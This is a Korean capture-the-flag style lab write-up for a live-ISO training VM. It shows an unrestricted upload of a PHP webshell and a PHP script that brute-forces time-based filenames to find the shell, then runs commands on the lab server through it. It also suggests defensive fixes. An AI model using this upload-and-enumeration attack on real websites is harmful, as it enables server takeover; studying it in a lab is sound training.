홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#웹해킹 훈련장 #Live ISO #웹해킹 실습 #실습설명서 #WH-Webshell-Loc-01 #A1-Injection #파일업로드 취약점 #PHP 웹쉘 #devshell.php #웹쉘 저장경로 추정 #무작위대입공격 #대량할당 공격 #Mass Assignment #A4-Insecure Direct Object References

WH-Webshell-Loc-01 웹해킹훈련장 (웹쉘 URL 추정) 실습 설명서

WH-Webshell-Loc-01 훈련장은 서버에 저장된 웹쉘의 파일을 추정하는 문제이다. 실제 웹취약점 점검 작업에서 게시판의 첨부파일 처리에서 발견한 문제이다. WH-ImgShell-01 훈련장에서는 이미지만 업로드를 허용하였으며 이미지가 HTML에 표시되기 때문에 곧바로 웹쉘의 위치를 알 수 있다. 하지만 이 훈련장에서는 웹쉘이 저장된 위치를 찾기 어렵다. 다만, 파일이름을 생성하는 규칙이 단순하여 대량할당(Mass Assignment) 방식으로 웹쉘의 위치를 특정할 수 있었다.

WH-Webshell-Loc-01 훈련장 환경 구성

다음 ISO 파일을 다운로드 받아서 주인 운영체제 내의 적당한 위치에 저장한다.

VMWare Workstation Player나 VirtaulBox를 이용하여 가상머신의 손님 운영체제로 라이브 ISO를 부팅한다. 손님 OS의 메모리 용량은 512MB 이상이면 된다. 부팅이 끝나면 root:root로 로그인하여 ifconfig로 IP주소를 확인한다.

wh-webshell-loc-01: homepage
[ WH-Webshell-Loc-01 훈련장: 홈페이지]

위의 그림은 wh-webshell-loc-01.iso를 손님 OS로 부팅 후에 칼리 리눅스의 FireFox로 접속한 화면이다. 여기서 WH-Webshell-Loc-01 훈련장의 IP주소는 192.168.189.238이다. 이 누리집은 임의의 파일을 올릴 수 있는 기능을 제공하고 있다.

칼리 리눅스에서 nmap, nikto, owasp-zap으로 서버와 홈페이지에 취약점이 존재하는 지 탐색해보자.

nmap 스캔 결과

root@kali:~# nmap -A 192.168.189.238

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-14 11:35 KST
Nmap scan report for 192.168.189.238
Host is up (0.00043s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: \xED\x8C\x8C\xEC\x9D\xBC \xEC\xB0\xBD\xEA\xB3\xA0 ::: \xEC\x9B\xB9\xED\x95\xB4\xED\x82\xB9/\xED\x99\x88\xED\x8E\x98\xEC\x9D\xB4\xEC\xA7\x80\xEC\xB7\xA8\xEC\x95\xBD\xEC\xA0\x90\xEC\xA0\x90\xEA\xB2\x80
MAC Address: 00:0C:29:E3:3F:16 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.36 - 2.6.37
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.43 ms 192.168.189.238

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.92 seconds
root@kali:~#

nmap 점검 결과에서, WH-Webshell-Loc-01 훈련장의 운영체제는 리눅스(커널 2.6.X)이며 80 포트에서 Apache httpd를 이용하여 웹 서비스를 제공하고 있다는 것을 알 수 있다. 특별한 취약점은 발견되지 않았다.

nikto 스캔 결과

root@kali:~# nikto -host 192.168.189.238
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.189.238
+ Target Hostname:    192.168.189.238
+ Target Port:        80
+ Start Time:         2017-01-14 11:37:33 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ 7535 requests: 0 error(s) and 1 item(s) reported on remote host
+ End Time:           2017-01-14 11:37:45 (GMT9) (12 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~#

nikto 점검 결과에서는 특이사항이 없다.

OWASP-ZAP 점검 결과

wh-webshell-loc-01: zaproxy quick start result
[ WH-Webshell-Loc-01 훈련장: OWASP-ZAP 빠른시작 점검 결과 ]

OWASP-ZAP의 "빠른 시작"을 이용한 점검 결과에서는 아무런 취약점이 발견되지 않았다.

nmap, nikto, owasp-zap 등과 같은 공개용 취약점 점검도구로는 별다른 취약점을 찾을 수 없었다.

수동점검

홈페이지에서 제공하는 모든 URL을 보면

  • http://192.168.189.238/
  • http://192.168.189.238/upload.php
  • http://192.168.189.238/download.php?fid=d61147ea216aaca74499bc1ac9642f3f (원본파일이름: weakpass.txt)
  • http://192.168.189.238/userFiles/file-079-069.jpg (원본파일이름: kth.jpg)
  • http://192.168.189.238/userFiles/file-083-027.JPG (원본파일이름: Sierra_HDR_Panorama_DFX8048.JPG)

등이 발견된다. JPEG 이미지의 경우에는 확장자가 jpg, JPG 등으로 원본 파일이 제공하는 확장자를 따르고 있다. 이미지가 아닌 경우에는 (예: weakpass.txt) 별도의 다운로드 기능(download.php)을 제공한다.

확장자가 저장되는 방식을 확인하기 위해서, english.jpG를 업로드하였다. 확장자를 보면 대소문자가 뒤섰여있다. 서버에 저장되는 확장자가 동일하다면(jgG), 확장자는 원본 파일 이름과 동일하게 저장하는 것으로 추정할 수 있다.

wh-webshell-loc-01: jpg image uploaded
[ WH-Webshell-Loc-01 훈련장: jpG 확장자 이미지 업로드 결과 ]

위 그림에서 보듯이 english.jpG을 업로드했을 때, 서버에 저장되는 위치는 http://192.168.189.238/userFiles/file-021-355.jpG이다. 기존 이미지와 새로 올린 이미지 이름을 나열하면 다음과 같다.

  • /userFiles/file-079-069.jpg (기존 이미지)
  • /userFiles/file-083-027.JPG (기존 이미지)
  • /userFiles/file-021-355.jpG (새로 올린 이미지)

이미지 첨부파일을 저장하는 웹 경로는 /userFiles/이다. 이미지 파일은 원본 파일이 제공하는 확장자를 그대로 저장한다. 서버가 이미지 파일을 저장할 때 사용하는 파일 이름의 규칙은 "file-세자리숫자-세자리숫자.확장자"이다.

JPG 이미지가 아닌 다른 파일도 동일한 방식으로 저장할 가능성이 있다. 동일한 방식으로 저장한다면 파일이름 저장규칙을 알고 있으므로 실제 서버내 경로를 찾아낼 수 있는 가능성이 있다. 이제 devshell.php 파일을 업로드해 보자.

wh-webshell-loc-01: devshell.php uploaded
[ WH-Webshell-Loc-01 훈련장: devshel.php 업로드 결과 ]

devshell.php 파일을 다운로드하는 경로는 다음과 같다.

  • http://192.168.189.238/download.php?fid=af2a8383b77ee553584739de040dc42b

첨부파일을 이미지로 처리하는 경우라도 download.php를 사용하는 것이 안전했을 것이다. 또 다른 대안으로는 이미지 파일과 그 외의 파일에 대한 저장규칙을 다르게 했다면 공격자가 파일저정 규칙을 알아내기 힘들었을 것이다. 하지만 이러한 보안 문제는 웹 개발자들이 알기 힘들기 때문에 모든 파일의 저장 규칙이 동일할 가능성이 높다.

실제 서버에 존재하는 http://192.168.189.238/userFiles/file-079-069.jpg 파일의 서버 응답에서 HTTP 헤더를 살펴보자. 간단하게 curl -I 명령어를 사용하여 확인할 수 있다.

root@kali:~# curl -I http://192.168.189.238/userFiles/file-079-069.jpg
HTTP/1.1 200 OK
Date: Sat, 14 Jan 2017 12:39:58 GMT
Server: Apache
X-Frame-Options: DENY
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
Last-Modified: Fri, 13 Jan 2017 16:16:26 GMT
ETag: "1039-72a6-545fc27d68a80"
Accept-Ranges: bytes
Content-Length: 29350
Content-Type: image/jpeg

root@kali:~# 

존재하는 URL을 접속하면 WH-Webshell-Loc-01 훈련장의 아파치 웹서버는 응답 헤더의 첫번째 줄에 HTTP/1.1 200 OK를 반환한다.

존재하지 않는 URL에 접근해보자.

root@kali:~# curl -I 192.168.189.238/userFiles/file-000-000.php
HTTP/1.1 404 Not Found
Date: Sat, 14 Jan 2017 12:37:48 GMT
Server: Apache
X-Frame-Options: DENY
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=iso-8859-1

root@kali:~# 

http://192.168.189.238/userFiles/file-000-000.php에 접속하면 서버 응답헤더의 첫번째 줄은 HTTP/1.1 404 Not Found이다. 이러한 관찰을 바탕으로 devshell.php가 저장된 경로를 추정하는 간단한 PHP 프로그램을 작성해보자.

root@kali:~# vi wh-wegshell-loc-01.php.txt
root@kali:~# cat wh-wegshell-loc-01.php.txt
<?php
$base_url = 'http://192.168.189.238/userFiles/';
for ($i = 0; $i<1000; ++$i) {
	for ($j = 0; $j<1000; ++$j) {
		$filename = sprintf('file-%03d-%03d.php', $i, $j);
		$url = $base_url.$filename;
		$http_headers = @get_headers($url);
		// print_r($http_headers); exit();
		if ($http_headers[0] != 'HTTP/1.1 404 Not Found') {
			echo $url.' ['.$http_headers[0].']'.PHP_EOL;
			exit();
		}
	}
}
?>
root@kali:~# 

Kali Linux에서 vi 편집기로 위와 같이 wh-wegshell-loc-01.php.txt라는 파일을 작성하였다. 앞서 추정한 파일 생성규칙에 따라서 http://192.168.189.238/userFiles/file-000-000.php부터 http://192.168.189.238/userFiles/file-999-999.php까지 순차적으로 연결하여 HTTP 헤더를 받는다(get_headers() 함수). HTTP 헤더의 첫번째 줄이 HTTP/1.1 404 Not Found이 아니면 헤더 첫 줄을 출력하고 프로그램을 종료한다.

이 PHP 프로그램을 실행하면 최악의 경우 100만번의 접속을 하여 URL 존재 여부를 검사하게 된다. Kali Linux에서 php 명령어로 이 프로그램을 실행해보자. 전체 실행시간을 확인하기 위해서 time 명령어를 사용하였다.

root@kali:~# time php wh-wegshell-loc-01.php.txt
http://192.168.189.238/userFiles/file-026-315.php [HTTP/1.1 200 OK]

real	0m49.814s
user	0m1.060s
sys	0m5.228s
root@kali:~# 

http://192.168.189.238/userFiles/file-026-315.php를 찾았다. 이 URL의 서버 응답은 HTTP/1.1 200 OK이다. 존재한다는 뜻이다. wh-wegshell-loc-01.php.txt는 약 27,316번의 연결을 통해서 존재하는 URL을 찾아낸 것이다. 2만 7천여번의 접속에 약 50초가 소요되었다.

파이어폭스로 http://192.168.189.238/userFiles/file-026-315.php에 접속해보자.

wh-webshell-loc-01: accessing devshel.php
[ WH-Webshell-Loc-01 훈련장: 업로드한 devshell.php 접속화면 ]

devilzShell 접속에 성공하였다. 서버정보(웹서버, uname -a, 서버 IP주소)와 /var/www/userFiles/ 경로의 파일들을 확인할 수 있다.

wh-webshell-loc-01: reading PHP sources with devshel.php
[ WH-Webshell-Loc-01 훈련장: devshell.php 웹쉘을 이용한 upload.php 소스 열람 ]

devilzShell을 이용하여 id; cat ../upload.php 명령어를 실행하였다. upload.php의 PHP 소스를 살펴보면 위와 같다. 파일 저장과 관련된 PHP 소스를 살펴보자.

$extension = end( explode('.', $_FILES['userfile']['name']) );
$filename = sprintf("file-%03d-%03d.%s", $sec%100, ($usec*1000000)%1000, $extension);
$uploaddir = 'userFiles/';
$uploadfile = $uploaddir.$filename;

시간을 이용하여 무작위로 파일을 생성하는 것을 볼 수 있다. 만약 시간을 이용한다는 사실을 파악했다면 파일 위치 추정에 사용하는 연산을 크게 줄일 수 있다. 예를 들어 이미지 파일, PHP 웹쉘, 이미지 파일을 짧은 시간 내에 연속적으로 올리면 수천번 이내에 찾아낼 수 있다. 시도해보길 권한다.

웹해킹 방식의 취약점 점검에서는 또 다른 방법으로 접속 횟수를 줄일 수 있다. 가능한 많은 웹쉘을 등록하는 방식이다. WH-Webshell-Loc-01 훈련장에 1개의 웹쉘을 올렸다면 확률상으로는 최대 100만번의 접속을 해야 실제 위치를 확인할 수 있다. 10개의 웹쉘을 올린다면 확률상 최대 10만, 100개를 올린다면 최대 1만번만에 웹쉘의 저장경로를 찾아낼 수 있다.

일반적인 웹 취약점 분석에서는 서버에 직접 접속하여 소스코드와 업로드 파일의 저장위치를 직접 확인하면 되므로 점검시간을 크게 줄일 수 있다.

[처음 작성한 날: 2017.01.14]    [마지막으로 고친 날: 2017.01.14] 


< 이전 글 : WH-PathTrav-01 라이브 ISO: 파일 다운로드 취약점으로 서버 침투 (2017.01.16)

> 다음 글 : WH-ImgShell-01 라이브 ISO: 이미지에 덧붙인 웹쉘 취약점 웹해킹훈련장 (2017.01.13)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문

.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ...... ... ... ] .. [ .../ ..../ ......./ .. ./// ../ ... .. ... .. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ... ...| ..../ ./ ... / ..| ....| ........ / ... / .... ...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / .... ...| ..../ ./ ... / ..| ....| ........ / ... / .... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .